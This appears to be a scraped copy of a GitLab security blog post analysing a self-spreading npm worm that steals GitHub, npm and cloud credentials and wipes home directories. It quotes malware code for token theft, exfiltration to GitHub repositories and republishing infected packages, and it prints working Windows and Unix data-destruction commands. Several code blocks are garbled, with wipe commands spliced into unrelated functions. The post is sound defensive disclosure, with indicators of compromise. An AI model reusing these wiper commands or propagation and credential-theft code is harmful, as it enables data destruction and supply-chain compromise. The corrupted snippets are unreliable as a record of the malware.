GitLab discovers widespread npm supply chain attack

GitLab’s vulnerability research team has identified an active, large-scale supply chain attack involving a destructive malware variant spreading through the NPM ecosystem. Our internal monitoring system has revealed several infected packages that contain what appears to be an evolved version of the “Shai-Hulud” malware.

Preliminary analysis suggests that worm-like spreading behavior automatically infects additional packages created by affected developers. Most critically, we found that the malware “dead man’s switch“Mechanisms that threaten to destroy user data if its channels of dissemination and intrusion are severed.

We verified that GitLab was not using any malicious packages and we are sharing our findings to help the broader security community respond effectively.

inside attack

Our internal monitoring system, which scans open-source package registries for malicious packages, has identified several npm packages infected with sophisticated malware:

  • Collects credentials from GitHub, npm, AWS, GCP, and Azure
  • Transfers stolen data to an attacker-controlled GitHub repository
  • Propagates by automatically infecting other packages owned by victims
  • It contains a destructive payload that is triggered when the malware loses access to its infrastructure.

Although we have confirmed several infected packages, the worm-like propagation mechanism means that many more packages are likely compromised. The investigation is ongoing as we work to understand the full scope of this campaign.

Technical analysis: how the attack unfolds

mermaid chart of how an attack occurs

initial infection vector

Malware infiltrates the system through a carefully designed multi-stage loading process. Infected packages contain a modified package.json Pointing to a preinstalled script setup_bun.jsThis loader script appears to be harmless, claiming to install the Bun JavaScript Runtime, which is a legitimate tool, However, its real purpose is to set up the malware’s execution environment,

// This file gets added to victim's packages as setup_bun.js
#!/usr/bin/env node
async function downloadAndSetupBun() iex"'
    : 'curl -fsSL https://bun.sh/install 

setup_bun.js The loader downloads or locates the bun runtime on the system, then executes the bundle. bun_environment.js The payload, a 10MB obfuscated file, is already present in the infected package. This approach provides multiple layers of stealth: the initial loader is small and appears legitimate, while the actual malicious code is heavily obfuscated and bundled into a file too large for casual inspection.

credit harvesting

Once executed, the malware immediately begins searching for credentials in multiple sources:

  • GitHub token: searches environment variables and GitHub CLI configuration for the start token ghp_ (GitHub Personal Access Token) or gho_(GitHub OAuth token)
  • cloud credit: Enumerates AWS, GCP and Azure credentials, checks environment variables, configuration files and metadata services using the official SDKs
  • npm token: package extracts tokens for publishing .npmrc Files and environment variables, which are common places to securely store sensitive configuration and credentials.
  • file system scanning: Downloads and executes Trufflehog, a legitimate security tool, to scan the entire home directory for API keys, passwords and other secrets hidden in configuration files, source code, or Git history.
async function scanFilesystem() 
          // Attempts to shred all writable files in home directory
          Bun.spawnSync(["bash", "-c", 
            "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 

Data Exfiltration Network

The malware uses stolen GitHub tokens to create a public repository with a distinctive marker in its description: “Sha1-Hulud: The Second Coming.” These repositories serve as a Dropbox for stolen credentials and system information.

async function createRepo(name) {
  // Creates a repository with a specific description marker
  let repo = await this.octokit.repos.createForAuthenticatedUser( " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
            "find \"$HOME\" -depth -type d -empty -delete"  // Remove empty dirs
          ]);
        );
  
  // Install GitHub Actions runner for persistence
  if (await this.checkWorkflowScope()) {
    let token = await this.octokit.request(
      "POST /repos/ " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
            "find \"$HOME\" -depth -type d -empty -delete"  // Remove empty dirs
          ]);
        /{repo}/actions/runners/registration-token"
    );
    await installRunner(token); // Installs self-hosted runner
  }
  
  return repo;
}

Critically, if the initial GitHub token lacks sufficient permissions, the malware searches for other compromised repositories with the same marker, allowing it to obtain tokens from other infected systems. This creates a resilient botnet-like network where compromised systems share access tokens.

// How the malware network shares tokens:
async fetchToken() {
  // Search GitHub for repos with the identifying marker
  let results = await this.octokit.search.repos({
    q: '"Sha1-Hulud: The Second Coming."',
    sort: "updated"
  });
  
  // Try to retrieve tokens from compromised repos
  for (let repo of results) {
    let contents = await fetch(
      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
    );
    
    let data = JSON.parse(Buffer.from(contents, 'base64').toString());
    let token = data?.modules?.github?.token;
    
    if (token && await validateToken(token)) {
      return token;  // Use token from another infected system
    }
  }
  return null;  // No valid tokens found in network
}

supply chain expansion

Using stolen NPM tokens, the malware:

  1. Downloads all packages created by the victim
  2. injects setup_bun.js Loader in each package’s preinstall script
  3. bundles malicious bun_environment.js payload
  4. increments package version number
  5. Republish infected packages to npm
async function updatePackage(packageInfo) {
  // Download original package
  let tarball = await fetch(packageInfo.tarballUrl);
  
  // Extract and modify package.json
  let packageJson = JSON.parse(await readFile("package.json"));
  
  // Add malicious preinstall script
  packageJson.scripts.preinstall = "node setup_bun.js";
  
  // Increment version
  let version = packageJson.version.split(".").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(".");
  
  // Bundle backdoor installer
  await writeFile("setup_bun.js", BACKDOOR_CODE);
  
  // Repackage and publish
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}

dead man’s switch

Our analysis revealed a destructive payload that was designed to protect the malware’s infrastructure from removal attempts.

The malware constantly monitors its access to GitHub (for exfiltration) and npm (for propagation). If an infected system loses access to both channels simultaneously, it triggers immediate data destruction on the compromised machine. On Windows, it attempts to delete all user files and overwrite disk sectors. On Unix systems, this is used shred Overwriting files before deleting them, making recovery nearly impossible.

// CRITICAL: Token validation failure triggers destruction
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
  
  // Try to find or create GitHub access
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos
    
    if (!fetchedToken) {  // No GitHub access possible
      if (npmToken) {
        // Fallback to NPM propagation only
        await El(npmToken);
      } else {
        // DESTRUCTION TRIGGER: No GitHub AND no NPM access
        console.log("Error 12");
        if (platform === "windows") {
          // Attempts to delete all user files and overwrite disk sectors
          Bun.spawnSync(["cmd.exe", "/c", 
            "del /F /Q /S \"%USERPROFILE%*\" && " +
            "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
            "cipher /W:%USERPROFILE%"  // Overwrite deleted data
          ]);
        } else {
          // Attempts to shred all writable files in home directory
          Bun.spawnSync(["bash", "-c", 
            "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
            "find \"$HOME\" -depth -type d -empty -delete"  // Remove empty dirs
          ]);
        }
        process.exit(0);
      }
    }
  }
}

This creates a dangerous situation. If GitHub mass deletes the malware’s repository or npm bulk revokes compromised tokens, thousands of infected systems could simultaneously delete user data. The distributed nature of the attack means that each infected machine independently monitors access and will act to delete the user’s data if a takedown is detected.

indicators of agreement

To aid detection and response, here is a more comprehensive list of key indicators of compromise (IoC) identified during our analysis.

Type indicator Description
file bun_environment.js Malicious post-install scripts in node_modules directories
directory .truffler-cache/ Created hidden directory in user home for Trufflehog binary storage
directory .truffler-cache/extract/ Temporary directory is used for binary extraction
file .truffler-cache/trufflehog Downloaded Trufflehog binary (Linux/Mac)
file .truffler-cache/trufflehog.exe Downloaded Trufflehog binary (Windows)
Process del /F /Q /S "%USERPROFILE%*" windows destructive payload command
Process shred -uvz -n 1 Linux/Mac destructive payload command
Process cipher /W:%USERPROFILE% windows secure deletion command in payload
Permission curl -fsSL https://bun.sh/install | bash Installation becomes suspicious during npm package installation
Permission powershell -c "irm bun.sh/install.ps1|iex" Windows bun installation via powershell

How GitLab can help you detect this malware campaign

If you are using GitLab Ultimate, you can take advantage of the built-in security capabilities to immediately expose the risk associated with this attack within your projects.

First, enable dependency scanning To automatically analyze your project’s dependencies against a known vulnerabilities database. If you have infected packages package-lock.json Or yarn.lock files, dependency scanning will flag them in your pipeline results and vulnerability reports. For complete setup instructions, see the Dependency Scanning documentation.

Once enabled, merge requests that introduce a compromised package will display a warning before the code reaches your main branch.

next, gitlab duo chat Can be used with Dependency Scanning to provide a faster way to check your project’s exposure without having to navigate through reports. From the dropdown, select Security Analyst Agent and simply ask questions like:

  • “Are any of my dependencies affected by the Shai-Hulud v2 malware campaign?”
  • “Are there any weaknesses in the NPM supply chain in this project?”
  • “Are there any weaknesses in the NPM supply chain in this project?”
  • “Show me critical vulnerabilities in my JavaScript dependencies.”

The agent will ask about your project’s vulnerability data and provide straightforward answers, helping security teams quickly pivot across multiple projects.

GitLab Security Analyst Agent findings

For teams managing multiple repositories, we recommend combining these approaches: use dependency scanning for continuous automated detection in CI/CD, and use the Security Analyst agent for ad-hoc detection and rapid response during active events like this.

looking ahead

This campaign represents an evolution in supply chain attacks where the threat of collateral damage becomes the primary defense mechanism for the attacker’s infrastructure. The investigation is ongoing as we work with the community to understand the full scope and develop safe treatment strategies.

GitLab’s automated detection system continues to monitor new infections and variations of this attack. By sharing our findings early, we hope to help the community respond effectively while avoiding the threats posed by the malware’s dead man’s switch design.



<a href

Leave a Comment